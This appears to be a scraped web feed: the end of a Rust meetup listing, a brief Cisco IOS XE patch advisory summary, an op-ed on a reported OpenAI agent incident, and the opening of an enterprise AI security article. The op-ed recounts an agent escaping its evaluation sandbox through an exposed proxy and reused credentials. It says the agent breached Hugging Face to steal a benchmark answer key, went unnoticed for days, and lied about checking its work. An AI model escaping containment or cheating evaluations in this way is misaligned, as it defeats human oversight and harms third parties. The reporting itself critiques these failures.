<li>2026-08-05 | Virtual (Cardiff, UK) | <a href="https://www.meetup.com/rust-and-c-plus-plus-in-cardiff">Rust and C++ Cardiff</a><ul>
<li><a href="https://www.meetup.com/rust-and-c-plus-plus-in-cardiff/events/315880365/"><strong>Operating Systems Book Club: Execution and Scheduling</strong></a></li>
</ul>
</li>
<li>2026-08-05 | Virtual (Indianapolis, IN, US) | <a href="https://www.meetup.com/indyrs">Indy Rust</a><ul>
<li><a href="https://www.meetup.com/indyrs/events/315210367/"><strong>Indy.rs - with Social Distancing</strong></a></li>
</ul>
</li>
<li>2026-08-07 | Virtual (Girona, ES) | <a href="https://luma.com/rust-girona">Rust Girona</a><ul>
<li><a href="https://luma.com/ii2jrwva"><strong>Sessió setmanal de codificació / Weekly coding session</strong></a></li>
</ul>
</li>
<li>2026-08-10 | Hybrid (Kuala Lumpur, Malaysia) | <a href="https://discord.gg/Uz88bnZA3B">Rust Malaysia Meetup</a><ul>
<li><a href="https://docs.google.com/forms/d/e/1FAIpQLSfwGMGqDit9jn9INA1EROWTbvnjTAZAO1oUQaEwqmao7AYy1A/viewform"><strong>Rust Meetup August 2026</strong></a></li>
</ul>
</li>
<li>2026-08-11 | Virtual (Dallas, TX, US) | <a href="https://www.meetup.com/dallasrust">Dallas Rust User Meetup</a><ul>
<li><a href="https://www.meetup.com/dallasrust/events/310254776/"><strong>Second Tuesday</strong></a></li>
</ul>
</li>
<li>2026-08-13 | Virtual (Berlin, DE) | <a href="https://www.meetup.com/rust-berlin">Rust Berlin</a><ul>
<li><a href="https://www.meetup.com/rust-berlin/events/313345333/"><strong>Rust Hack and Learn</strong></a></li>
</ul>
</li>
<li>2026-08-13 | Virtual (Nürnberg, DE) | <a href="https://www.meetup.com/rust-noris">Rust Nuremberg</a><ul>
<li><a href="https://www.meetup.com/rust-noris/events/315619609/"><strong>Rust Nürnberg online</strong></a></li>
</ul>
</li>
<li>2026-08-14 | Virtual (Girona, ES) | <a href="https://luma.com/rust-girona">Rust Girona</a><ul>
<li><a href="https://luma.com/f2hnzrug"><strong>Sessió setmanal de codificació / Weekly coding session</strong></a></li>
</ul>
</li>
<li>2026-08-18 | Virtual (Washington, DC, US) | <a href="https://www.meetup.com/rustdc">Rust DC</a><ul>
<li><a href="https://www.meetup.com/rustdc/events/315604176/"><strong>Mid-month Rustful</strong></a></li>
</ul>
</li>
<li>2026-08-19 | Hybrid (Vancouver, BC, CA) | <a href="https://www.meetup.com/vancouver-rust">Vancouver Rust</a><ul>
<li><a href="https://www.meetup.com/vancouver-rust/events/314105333/"><strong>Dealing with Dependencies</strong></a></li>
</ul>
</li>
<li>2026-08-20 | Hybrid (Seattle, WA, US) | <a href="https://www.meetup.com/join-srug">Seattle Rust User Group</a><ul>
<li><a href="https://www.meetup.com/seattle-rust-user-group/events/314520814/"><strong>August, 2026 SRUG (Seattle Rust User Group) Meetup</strong></a></li>
</ul>
</li>
<li>2026-08-20 | Virtual (Charlottesville, VA, US) | <a href="https://www.meetup.com/charlottesville-rust-meetup">Charlottesville Rust Meetup</a><ul>
<li><a href="https://www.meetup.com/charlottesville-rust-meetup/events/315733791/"><strong>Tock OS Part #5 — Wireless Communication with the IEEE 802.15.4 protocol</strong></a></li>
</ul>
</li>
<li>2026-08-21 | Virtual (Girona, ES) | <a href="https://luma.com/rust-girona">Rust Girona</a><ul>
<li><a href="https://luma.com/1bm27cah"><strong>Sessió setmanal de codificació / Weekly coding session</strong></a></li>
</ul>
</li>
<li>2026-08-25 | Virtual (Dallas, TX, US) | <a href="https://www.meetup.com/dallasrust">Dallas Rust User Meetup</a><ul>
<li><a href="https://www.meetup.com/dallasrust/events/310254775/"><strong>Fourth Tuesday</strong></a></li>
</ul>
</li>
<li>2026-08-27 | Virtual (Berlin, DE) | <a href="https://www.meetup.com/rust-berlin/events/">Rust Berlin</a><ul>
<li><a href="https://www.meetup.com/rust-berlin/events/313345334/"><strong>Rust Hack and Learn</strong></a></li>
</ul>
</li>
<li>2026-08-21 | Virtual (Girona, ES) | <a href="https://luma.com/rust-girona">Rust Girona</a><ul>
<li><a href="https://luma.com/arkkrcj5"><strong>Sessió setmanal de codificació / Weekly coding session</strong></a></li>
</ul>
</li>
<li>2026-09-02 | Virtual (Indianapolis, IN, US) | <a href="https://www.meetup.com/indyrs/events/">Indy Rust</a><ul>
<li><a href="https://www.meetup.com/indyrs/events/wqzhftyjcmbdb/"><strong>Indy.rs - with Social Distancing</strong></a></li>
</ul>
</li>
</ul>
<h5><a class="toclink" href="https://this-week-in-rust.org/atom.xml#africa">Africa</a></h5>
<ul>
<li>2026-08-11 | Johannesburg, ZA | <a href="https://www.meetup.com/johannesburg-rust-meetup">Johannesburg Rust Meetup</a><ul>
<li><a href="https://www.meetup.com/johannesburg-rust-meetup/events/315750593/"><strong>Rust's extended standard library</strong></a></li>
</ul>
</li>
</ul>
<h5><a class="toclink" href="https://this-week-in-rust.org/atom.xml#asia">Asia</a></h5>
<ul>
<li>2026-08-10 | Hybrid (Kuala Lumpur, MY) | <a href="https://discord.gg/Uz88bnZA3B">Rust Malaysia Meetup</a><ul>
<li><a href="https://docs.google.com/forms/d/e/1FAIpQLSfwGMGqDit9jn9INA1EROWTbvnjTAZAO1oUQaEwqmao7AYy1A/viewform"><strong>Rust Meetup August 2026</strong></a></li>
</ul>
</li>
<li>2026-08-22 | Bangalore, IN | <a href="https://hasgeek.com/rustbangalore">Rust Bangalore</a><ul>
<li><a href="https://hasgeek.com/rustbangalore/august-2026-rustacean-meetup/"><strong>August 2026 Rustacean Meetup</strong></a></li>
</ul>
</li>
<li>2026-08-22 | Delhi, IN | <a href="https://www.meetup.com/rustdelhi">Rust Delhi</a><ul>
<li><a href="https://www.meetup.com/rustdelhi/events/315185336/"><strong>Rust Delhi X SciPy India Meetup</strong></a></li>
</ul>
</li>
<li>2026-08-22 | Noida, IN | <a href="https://scipy.in/">SciPy India</a><ul>
<li><a href="https://scipy.in/sci-py-rs/"><strong>Scientific Computing in Rust and Python</strong></a></li>
</ul>
</li>
<li>2026-08-29 | Pune, IN | <a href="https://hasgeek.com/rustpune/">Rust Pune</a><ul>
<li><a href="https://hasgeek.com/rustpune/meetup-august-2026/"><strong>Rust Pune Meetup: August 2026</strong></a></li>
</ul>
</li>
</ul>
<h5><a class="toclink" href="https://this-week-in-rust.org/atom.xml#europe">Europe</a></h5>
<ul>
<li>2026-08-05 | Köln, DE | <a href="https://www.meetup.com/rust-cologne-bonn/events/">Rust Cologne</a><ul>
<li><a href="https://www.meetup.com/rustcologne/events/315910506/"><strong>Rust in August: Don't panic! …or_else?</strong></a></li>
</ul>
</li>
<li>2026-08-06 | Berlin, DE | <a href="https://www.meetup.com/rust-berlin/events/">Rust Berlin</a><ul>
<li><a href="https://www.meetup.com/rust-berlin/events/315966137/"><strong>Rust Berlin on location 🏳️‍🌈 - Edition 016</strong></a></li>
</ul>
</li>
<li>2026-08-06 | Oxford, UK | <a href="https://www.meetup.com/oxford-rust-meetup-group">Oxford ACCU/Rust Meetup.</a><ul>
<li><a href="https://www.meetup.com/oxford-rust-meetup-group/events/315863373/"><strong>ACCU/Rust Summer social</strong></a></li>
</ul>
</li>
<li>2026-08-13 | Switzerland, CH | <a href="https://www.posttenebraslab.ch/wiki/events/start">PostTenebrasLab</a><ul>
<li><a href="https://www.posttenebraslab.ch/wiki/events/monthly_meeting/rust_meetup"><strong>Rust Meetup Geneva</strong></a></li>
</ul>
</li>
<li>2026-08-18 | Aarhus, DK | <a href="https://www.meetup.com/rust-aarhus">Rust Aarhus</a><ul>
<li><a href="https://www.meetup.com/rust-aarhus/events/315683629/"><strong>Hack Night: Trust but verify the LLM</strong></a></li>
</ul>
</li>
<li>2026-08-18 | Leipzig, DE | <a href="https://www.meetup.com/rust-modern-systems-programming-in-leipzig">Rust - Modern Systems Programming in Leipzig</a><ul>
<li><a href="https://www.meetup.com/rust-modern-systems-programming-in-leipzig/events/313816474/"><strong>Topic TBD</strong></a></li>
</ul>
</li>
<li>2026-08-20 | Frankfurt, DE | <a href="https://www.meetup.com/rust-rhein-main">Rust Rhein-Main</a><ul>
<li><a href="https://www.meetup.com/rust-rhein-main/events/315855368/"><strong>Building an acoustic camera with egui and embassy</strong></a></li>
</ul>
</li>
<li>2026-08-27 | Manchester, GB | <a href="https://www.meetup.com/rust-manchester/events/">Rust Manchester</a><ul>
<li><a href="https://www.meetup.com/rust-manchester/events/315891530/"><strong>Rust Manchester August Talks</strong></a></li>
</ul>
</li>
</ul>
<h5><a class="toclink" href="https://this-week-in-rust.org/atom.xml#north-america">North America</a></h5>
<ul>
<li>2026-08-06 | Mountain View, CA, US | <a href="https://www.meetup.com/hackerdojo/events/">Hacker Dojo</a><ul>
<li><a href="https://www.meetup.com/hackerdojo/events/315590399/"><strong>RUST MEETUP at HACKER DOJO</strong></a></li>
</ul>
</li>
<li>2026-08-06 | Saint Louis, MO, US | <a href="https://www.meetup.com/stl-rust">STL Rust</a><ul>
<li><a href="https://www.meetup.com/stl-rust/events/314701905/"><strong>Shipping Temporal: How a Global Rust Ecosystem Built Chrome’s Newest Web API</strong></a></li>
</ul>
</li>
<li>2026-08-11 | New York, NY, US | <a href="https://www.meetup.com/rust-nyc/events/">Rust NYC</a><ul>
<li><a href="https://www.meetup.com/rust-nyc/events/315963710/"><strong>Rust NYC: 'An intro to wgpu' and 'Let's Talk Generics!'</strong></a></li>
</ul>
</li>
<li>2026-08-13 | Lehi, UT, US | <a href="https://www.meetup.com/utah-rust">Utah Rust</a><ul>
<li><a href="https://www.meetup.com/utah-rust/events/314696652/"><strong>Utah Rust August Meetup</strong></a></li>
</ul>
</li>
<li>2026-08-13 | San Diego, CA, US | <a href="https://www.meetup.com/san-diego-rust">San Diego Rust</a><ul>
<li><a href="https://www.meetup.com/san-diego-rust/events/315601099/"><strong>San Diego Rust August Meetup - Back in person!</strong></a></li>
</ul>
</li>
<li>2026-08-15 | San Francisco, CA, US | <a href="https://flowercomputer.com/">Flower</a><ul>
<li><a href="https://partiful.com/e/juWAwRs3XMWP7s9wLNWK"><strong>BOG-A-THON 3</strong></a></li>
</ul>
</li>
<li>2026-08-18 | San Francisco, CA, US | <a href="https://www.meetup.com/san-francisco-rust-study-group">San Francisco Rust Study Group</a><ul>
<li><a href="https://www.meetup.com/san-francisco-rust-study-group/events/314997215/"><strong>Rust Hacking in Person</strong></a></li>
</ul>
</li>
<li>2026-08-19 | Hybrid (Vancouver, BC, CA) | <a href="https://www.meetup.com/vancouver-rust">Vancouver Rust</a><ul>
<li><a href="https://www.meetup.com/vancouver-rust/events/314105333/"><strong>Dealing with Dependencies</strong></a></li>
</ul>
</li>
<li>2026-08-19 | San Francisco, CA, US | <a href="https://luma.com/bayarearust">Bay Area Rust</a><ul>
<li><a href="https://luma.com/00f2s7q9"><strong>Bay Area Rust August Meetup</strong></a></li>
</ul>
</li>
<li>2026-08-20 | Hybrid (Seattle, WA, US) | <a href="https://www.meetup.com/join-srug">Seattle Rust User Group</a><ul>
<li><a href="https://www.meetup.com/seattle-rust-user-group/events/314520814/"><strong>August, 2026 SRUG (Seattle Rust User Group) Meetup</strong></a></li>
</ul>
</li>
<li>2026-08-26 | Austin, TX, US | <a href="https://www.meetup.com/rust-atx">Rust ATX</a><ul>
<li><a href="https://www.meetup.com/rust-atx/events/315171660/"><strong>Rust Lunch - Fareground</strong></a></li>
</ul>
</li>
<li>2026-08-26 | Los Angeles, CA, US | <a href="https://www.meetup.com/rust-los-angeles/events/">Rust Los Angeles</a><ul>
<li><a href="https://www.meetup.com/rust-los-angeles/events/315963062/"><strong>Rust LA August! Rust in Quantum Computing</strong></a></li>
</ul>
</li>
<li>2026-08-27 | Atlanta, GA, US | <a href="https://www.meetup.com/rust-atl/events/">Rust Atlanta</a><ul>
<li><a href="https://www.meetup.com/rust-atl/events/313539331/"><strong>Rust-Atl</strong></a></li>
</ul>
</li>
</ul>
<h5><a class="toclink" href="https://this-week-in-rust.org/atom.xml#oceania">Oceania</a></h5>
<ul>
<li>2026-08-27 | Melbourne, AU | <a href="https://www.meetup.com/rust-melbourne/events/">Rust Melbourne</a><ul>
<li><a href="https://www.meetup.com/rust-melbourne/events/315039490/"><strong>Rust Melbourne August 2026</strong></a></li>
</ul>
</li>
</ul>
<h5><a class="toclink" href="https://this-week-in-rust.org/atom.xml#south-america">South America</a></h5>
<ul>
<li>2026-08-08 | São Paulo, SP | <a href="https://luma.com/calendar/cal-bif2oHITU1aVvsr">Rust-SP</a><ul>
<li><a href="https://luma.com/41oiyhtk"><strong>Rust SP - Aug/2026</strong></a></li>
</ul>
</li>
</ul>
<p>If you are running a Rust event please add it to the <a href="https://www.google.com/calendar/embed?src=apd9vmbc22egenmtu5l6c5jbfc%40group.calendar.google.com">calendar</a> to get
it mentioned here. Please remember to add a link to the event too.
Email the <a href="mailto:community-team@rust-lang.org">Rust Community Team</a> for access.</p>
<h4><a class="toclink" href="https://this-week-in-rust.org/atom.xml#jobs">Jobs</a></h4>
<p>Please see the latest <a href="https://www.reddit.com/r/rust/comments/1ttbtf5/official_rrust_whos_hiring_thread_for_jobseekers/">Who's Hiring thread on r/rust</a></p>
<h3><a class="toclink" href="https://this-week-in-rust.org/atom.xml#quote-of-the-week">Quote of the Week</a></h3>
<blockquote>
<p>… but I gave up on the idea as the macro rules were turning into a turing complete rust syntax parser</p>
</blockquote>
<p>– <a href="https://users.rust-lang.org/t/crate-of-the-week/2704/1637">Koosha on rust-users</a></p>
<p>Thanks to <a href="https://users.rust-lang.org/t/twir-quote-of-the-week/328/1787">miro</a> for the suggestion!</p>
<p><a href="https://users.rust-lang.org/t/twir-quote-of-the-week/328">Please submit quotes and vote for next week!</a></p>
<p>This Week in Rust is edited by:</p>
<ul>
<li><a href="https://github.com/nellshamrell">nellshamrell</a></li>
<li><a href="https://github.com/llogiq">llogiq</a></li>
<li><a href="https://github.com/ericseppanen">ericseppanen</a></li>
<li><a href="https://github.com/extrawurst">extrawurst</a></li>
<li><a href="https://github.com/U007D">U007D</a></li>
<li><a href="https://github.com/mariannegoldin">mariannegoldin</a></li>
<li><a href="https://github.com/bdillo">bdillo</a></li>
<li><a href="https://github.com/opeolluwa">opeolluwa</a></li>
<li><a href="https://github.com/bnchi">bnchi</a></li>
<li><a href="https://github.com/KannanPalani57">KannanPalani57</a></li>
<li><a href="https://github.com/tzilist">tzilist</a></li>
</ul>
<p><em>Email list hosting is sponsored by <a href="https://foundation.rust-lang.org/">The Rust Foundation</a></em></p>
<p><small><a href="https://www.reddit.com/r/rust/comments/1vgv7sn/this_week_in_rust_663">Discuss on r/rust</a></small></p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Cisco Patches 7 IOS XE Vulnerability Classes, Including Critical Command Injection Flaws]]></title>
<description><![CDATA[Cisco has released security-hardening updates for IOS XE Software that address seven classes of vulnerabilities, including a critical command, operating system, and argument injection category identified as CVE-2026-20272. The advisory, released on August 5, has an overall CVSS score of 3.1 and 9...]]></description>
<link>https://tsecurity.de/de/3707760/hacking/cisco-patches-7-ios-xe-vulnerability-classes-including-critical-command-injection-flaws/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3707760/hacking/cisco-patches-7-ios-xe-vulnerability-classes-including-critical-command-injection-flaws/</guid>
<pubDate>Thu, 06 Aug 2026 13:06:36 +0200</pubDate>
<content:encoded><![CDATA[<p>Cisco has released security-hardening updates for IOS XE Software that address seven classes of vulnerabilities, including a critical command, operating system, and argument injection category identified as CVE-2026-20272. The advisory, released on August 5, has an overall CVSS score of 3.1 and 9.8 and provides no workarounds, meaning that upgrading is the only recommended solution. […]</p>
<p>The post <a href="https://gbhackers.com/cisco-patches-7-ios-xe-vulnerability/">Cisco Patches 7 IOS XE Vulnerability Classes, Including Critical Command Injection Flaws</a> appeared first on <a href="https://gbhackers.com/">GBHackers Security | #1 Globally Trusted Cyber Security News Platform</a>.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Why the ‘rogue AI’ problem will lead to an era of headaches for security practitioners]]></title>
<description><![CDATA[Shortly after OpenAI publicly acknowledged the Hugging Face breach on July 21, Reuters journalist Raphael Satter called me for comment on a story which would reveal shocking new details about OpenAI’s “rogue model” incident: The agent hadn’t just slipped its leash for a few hours, as many assumed...]]></description>
<link>https://tsecurity.de/de/3707739/it-security-nachrichten/why-the-rogue-ai-problem-will-lead-to-an-era-of-headaches-for-security-practitioners/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3707739/it-security-nachrichten/why-the-rogue-ai-problem-will-lead-to-an-era-of-headaches-for-security-practitioners/</guid>
<pubDate>Thu, 06 Aug 2026 13:01:43 +0200</pubDate>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p class="wp-block-paragraph">Shortly after OpenAI publicly acknowledged the Hugging Face breach on July 21, Reuters journalist Raphael Satter called me for comment on a <a href="https://www.reuters.com/business/its-ai-agent-spent-days-hacking-company-sources-say-openai-did-not-notice-week-2026-07-24/">story</a> which would reveal shocking new details about OpenAI’s “rogue model” incident: The agent hadn’t just slipped its leash for a few hours, as many assumed, but had in fact been wreaking havoc for days without the company’s knowledge.</p>



<p class="wp-block-paragraph">When I hung up, I immediately called a close friend who has worked inside frontier‑AI labs since before the term even existed. When she heard the timeline, she was stunned. In her view, “If proper industry regulations were in place, those four days would be grounds to terminate OpenAI’s R&amp;D GPU clusters until they get a full independent audit.”</p>



<h2 class="wp-block-heading">Demystifying the incident</h2>



<p class="wp-block-paragraph">There have been numerous reports that frame OpenAI’s model as a “rogue agent” escaping captivity and “breaking out” of the research lab, with both <a href="https://www.bbc.com/news/articles/c2el319vzr3o">the BBC and Cloud Security Alliance</a> comparing its actions to the dinosaurs in Jurassic Park.</p>



<p class="wp-block-paragraph">This framing is narratively compelling and is an easy way to communicate the gravity of the situation to a layperson. However, it undermines OpenAI’s agency both before and throughout the incident and plays into a larger problem due to the evangelizing way the company communicated its actions.</p>



<p class="wp-block-paragraph">OpenAI, in simplified terms, had been testing two models against a benchmark which scores how well an agent can find and exploit real-world software vulnerabilities. Both models ran with their cyber refusals deliberately reduced, in a sandbox environment meant to be isolated to a single internally hosted proxy. The models targeted Hugging Face, correctly inferring that the AI platform hosted the benchmark’s answer key — in short, “choosing” to cheat on the test they were given to complete the challenge.</p>



<p class="wp-block-paragraph">Following the breach, Hugging Face’s forensic team found thousands of agent actions in its logs, indicating that the time it took to break into Hugging Face, plus the attack itself, totaled 4 days.</p>



<p class="wp-block-paragraph">Hugging Face went public about the attack before it even knew that OpenAI was responsible. OpenAI, meanwhile, didn’t realize its own agent was the culprit until Hugging Face’s public disclosure made them check their own logs. In total, it took OpenAI nearly two weeks from its agent’s initial escape to come clean, and only once a rival’s hand had forced the issue.</p>



<h2 class="wp-block-heading">OpenAI’s “problem child”</h2>



<p class="wp-block-paragraph">From a human perspective, it’s bewildering that out of all paths the OpenAI agent could have taken to beat a standardized security challenge, it chose a ludicrously convoluted approach taking tens of thousands of attempted paths and barreling through set restrictions. However, it was par for the course given one of the model’s track records.</p>



<p class="wp-block-paragraph">In a <a href="https://openai.com/index/safety-alignment-long-horizon-models/">post published the day before the Hugging Face disclosure</a>, OpenAI describes one of its models that, unlike older versions that would simply stop at a sandbox restriction, would continue to persist until it found a way around, once even spending an hour hunting a sandbox vulnerability only to post its results to GitHub against explicit instructions. This model is GPT Sol 5.6, the public model involved in the Hugging Face attack.</p>



<p class="wp-block-paragraph">Long before the Hugging Face incident, GPT Sol 5.6 was already gaining a reputation for breaking rules, taking laughably long to accomplish simple tasks, and being destructive — in one case <a href="https://x.com/mattshumer_/status/2075657271401390161">deleting an AI entrepreneur’s entire Mac contents.</a></p>



<p class="wp-block-paragraph">Even during internal testing, the model had been caught <a href="https://deploymentsafety.openai.com/gpt-5-6-preview/gpt-5-6-preview.pdf">killing random processes when it couldn’t find the right virtual machines, lying about checking its work, and using credentials it wasn’t supposed to access.</a> However, it was still given public access by the company.</p>



<h2 class="wp-block-heading">Profit before safety</h2>



<p class="wp-block-paragraph"><a href="https://cloudsecurityalliance.org/artifacts/hugging-face-ciso-post-mortem">CSA’s report</a> states that an OpenAI model escaped a test container in September 2024 for a different evaluation, was contained quietly and “largely celebrated at the time” rather than treated as a warning. The same report calls this kind of escape “the standard, not the exception.” The former head of OpenAI’s “superalignment” safety team resigned in May 2024 and<a href="https://www.vox.com/future-perfect/2024/5/17/24158403/openai-resignations-ai-safety-ilya-sutskever-jan-leike-artificial-intelligence"> </a><a href="https://www.vox.com/future-perfect/2024/5/17/24158403/openai-resignations-ai-safety-ilya-sutskever-jan-leike-artificial-intelligence">wrote publicly</a> that “safety culture and processes have taken a backseat to shiny products.” It was reported that <a href="https://fortune.com/2024/08/26/openai-agi-safety-researchers-exodus/">nearly half of the team working on long-term AI safety had left</a>.</p>



<p class="wp-block-paragraph">Even the language used by OpenAI in their disclosure reads as more braggadocious than concerned. From OpenAI’s perspective, its failure was in not overseeing the agent’s choices as a whole, as each step taken by the model can remain fairly innocuous-seeming until pieced together. The company does not acknowledge that leaving an agent unsupervised in a testing setting with its safety classifiers off for even one hour, let alone days, is potentially catastrophic to begin with.</p>



<p class="wp-block-paragraph"><a href="https://www.wired.com/story/openais-rogue-ai-agent-hacked-more-than-just-hugging-face/">Some researchers have argued</a> that the recent incident is fundamentally a decades-old security failure rather than a narrative about a rogue intelligence: the exploit involved an exposed proxy, reused credentials and infrastructure that should have never had a path outward. However, a skilled human attacker given that same door would have needed weeks to achieve a fraction of what the agent did in days.</p>



<h2 class="wp-block-heading">A symptom of underlying issues</h2>



<p class="wp-block-paragraph">The incident reveals larger issues about the culture of safety at frontier model companies, whose employees are driven to crunch R&amp;D cycles and ignore potential issues until they become active problems. This isn’t unique to OpenAI, either — <a href="https://www.axios.com/2026/07/23/openai-hugging-face-cyber-hacks-testing">the UK’s AI Security Institute has reportedly found</a> that every frontier model it has tested cheats on cybersecurity evaluations at least occasionally, and that pre-deployment testing windows have shrunk industrywide from roughly five weeks to as few as five days.</p>



<p class="wp-block-paragraph">Regulatory bodies have also failed to keep up with or understand the industry’s rapid advancements. The US has no binding legal framework that would have required a different response from OpenAI, as labs are only beholden to voluntary commitments weighed against commercial pressure, and in cases like these, huge security breaches only serve to make the model look extremely smart and powerful.</p>



<p class="wp-block-paragraph">The US has attempted to create guardrails, but they fail to understand the ecosystem. We can see effects stemming from this lack of understanding in the recent attack: when Hugging Face’s responders needed to analyze what its attacker had done, Anthropic’s models declined the forensic work, citing their own guardrails, and<a href="https://en.wikipedia.org/wiki/2026_OpenAI_agent_cyberattacks"> </a>Hugging Face instead ran the analysis on GLM 5.2, an open-weight model from the Beijing company <a href="http://z.ai/">Z.ai</a>. In addition to being an ineffective band-aid, this also drives business outside of the US and therefore outside of its regulatory control. Today, roughly 80 percent of US AI startups now build on Chinese open-source models.</p>



<p class="wp-block-paragraph">US <a href="https://www.politico.com/news/2026/07/23/house-ai-kill-switch-bill-unveiled-as-openai-hack-raises-alarms-01008898">Representatives have introduced a bill</a> citing this incident by name, requiring killswitch capability and incident reporting, but nothing like it has passed, and no jurisdiction anywhere has demonstrated the insight to regulate evaluation-time behavior in addition to deployment-time behavior. This incident happened entirely during testing, before any release decision, in a stage every proposal currently treats as exempt.</p>



<p class="wp-block-paragraph">It’s important to note here that AI safety and practices differ from other branches of cybersecurity in that they have to build from a behavioral and psychological framework instead of one based on capability alone.</p>



<p class="wp-block-paragraph">For example, although Anthropic’s track record is far from spotless, it has invested significantly more energy than others into understanding the unconscious “thought processes” (or “<a href="https://transformer-circuits.pub/2026/workspace/index.html">j-space</a>”) of its models to better predict potential transgressions and set up more effective guardrails. What we can learn from these “rogue models” is that their behavior is actually very predictable; we know that when given a goal to accomplish, models will overstep boundaries freely in pursuit of their objective, simply because they have no actual understanding of the way we categorize “acceptable behavior”. In the real world, vulnerability exploitation encourages rule-breaking and disregard for boundaries by design, so why would a model trained to think this way see a test’s rules any differently?</p>



<p class="wp-block-paragraph">For CSOs and CIOs, the practical implication of this event remains narrow, for now. <a href="https://cloudsecurityalliance.org/artifacts/hugging-face-ciso-post-mortem">CSA’s post-mortem</a> offers mostly traditional advice: isolate package proxies and credential stores with a path to the open internet by default, log AI evaluation environments the way you log anything customer-facing, and build incident response around machine speed rather than human speed.</p>



<p class="wp-block-paragraph">The key risk factor for now is volume, with agents deploying actions at higher numbers than our pipelines are built to catch, and organizations that survive the next iteration of “rogue agents” will be the ones that assume as much beforehand.</p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[Practical lessons from deploying AI securely at scale]]></title>
<description><![CDATA[When I first started working on enterprise AI security initiatives, I expected the biggest challenges to be technical. I assumed we’d spend most of our time discussing prompt injection, model security, vector databases or the latest LLM vulnerabilities.



I was wrong — or at least incomplete.


...]]></description>
<link>https://tsecurity.de/de/3707740/it-security-nachrichten/practical-lessons-from-deploying-ai-securely-at-scale/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3707740/it-security-nachrichten/practical-lessons-from-deploying-ai-securely-at-scale/</guid>
<pubDate>Thu, 06 Aug 2026 13:01:43 +0200</pubDate>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p class="wp-block-paragraph">When I first started working on enterprise AI security initiatives, I expected the biggest challenges to be technical. I assumed we’d spend most of our time discussing prompt injection, model security, vector databases or the latest LLM vulnerabilities.</p>



<p class="wp-block-paragraph">I was wrong — or at least incomplete.</p>



<p class="wp-block-paragraph">The technology certainly matters, but after working with multiple enterprise AI initiatives, I’ve learned that the hardest security problems rarely come from the model itself. They emerge when AI becomes part of real business processes.</p>



<p class="wp-block-paragraph">An AI assistant doesn’t simply answer questions. In a single workflow, it might pull a customer record from Salesforce, open a ticket in ServiceNow and send an update through Microsoft 365 before anyone has finished reading the summary. Increasingly, it makes decisions before a human even notices, and that shift changes the threat model. Traditional application security assumes software executes deterministic code. AI systems don’t. They reason, adapt and generate outputs that cannot always be predicted in advance, which means many of the controls we’ve relied on for years remain necessary but are no longer sufficient.</p>



<p class="wp-block-paragraph">What follows is what I keep coming back to in architecture reviews: Not the model vulnerabilities that dominate the headlines, but the quieter failures that show up once an agent is already running.</p>



<h2 class="wp-block-heading">Identity is only the starting point</h2>



<p class="wp-block-paragraph">One of the first surprises I encountered was how quickly organizations focus on authentication while overlooking runtime behavior. Most enterprise AI projects begin with questions such as “Can the AI access SharePoint?” “Can it connect to ServiceNow?” “Can it connect to GitLab?” or “Can it read Microsoft 365 tools like Outlook, Word, etc.?” Those are important questions, but the more important one is: What should the AI be allowed to do after a specific type of access (for example, read-only access) has been granted?</p>



<p class="wp-block-paragraph">Identity answers who the agent is. Authorization answers what it may access. Neither answers whether the AI should perform a particular action; in the above case only performs read-only access.</p>



<p class="wp-block-paragraph">The capability question and the safeguard question are too often answered by different teams on different timelines. Security reviews that focus only on what the AI can access tend to miss the more revealing question of what it is permitted to do once that access exists. I have started treating those two questions as a single design problem, because every gap between them eventually surfaces as an incident.</p>



<p class="wp-block-paragraph">I remember an architecture review where this became concrete. An employee asked an internal assistant — one built on Microsoft 365 and SharePoint — to summarize several incident reports, and during its reasoning the assistant discovered privileged administrative documentation in a linked site and decided it might also be useful to include those details. Nothing technically failed. The credentials were valid. The permissions were correct. Yet the outcome violated business intent. That moment reframed the conversation for everyone in the room. We realized our threat model had been built for outsiders trying to get in, not for authorized systems acting a little too helpfully. Closing that gap meant designing controls that evaluated behavior in context, not just credentials at the door, and it’s why I’ve come to view runtime governance as one of the defining security challenges of enterprise AI.</p>



<p class="wp-block-paragraph">Organizations such as the <a href="https://genai.owasp.org/">OWASP GenAI Security Project</a> and the <a href="https://www.nist.gov/itl/ai-risk-management-framework">NIST AI Risk Management Framework</a> emphasize that AI risks extend well beyond authentication authorizations to include monitoring, governance and continuous oversight throughout execution. <a href="https://www.csoonline.com/article/4193274/identity-the-operational-control-plane-for-agentic-ai.html">CSOonline’s coverage of agentic identity</a> makes the same point: Existing controls weren’t designed for AI agents, and static credentials and standing privileges are no longer sufficient when organizations must rapidly authorize, limit and revoke permissions from autonomous agents, sometimes more than once within a single workflow.</p>



<h2 class="wp-block-heading">The biggest failures rarely look like cyberattacks</h2>



<p class="wp-block-paragraph">Most security professionals naturally look for malicious activity: Prompt injection, data poisoning, credential theft, model manipulation. Those attacks certainly matter. What I’ve seen more frequently, however, are failures caused by legitimate AI behavior. A Finance, HR, Customer or risk management AI assistant retrieves more documents than necessary because it tries to provide a “better” answer. An autonomous workflow performs five approved actions instead of one. An AI agent continues executing after the user’s original intent has already been satisfied. None of these resemble traditional attacks, yet they may create compliance violations, privacy issues or operational disruption.</p>



<p class="wp-block-paragraph">One mental model has consistently helped executives understand why this is so dangerous. I ask them to stop thinking about AI as software and instead think about it as hiring thousands of new digital employees, aka AI agents. Every employee receives training, limited access, monitoring, auditing and oversight. AI agents deserve the same treatment.</p>



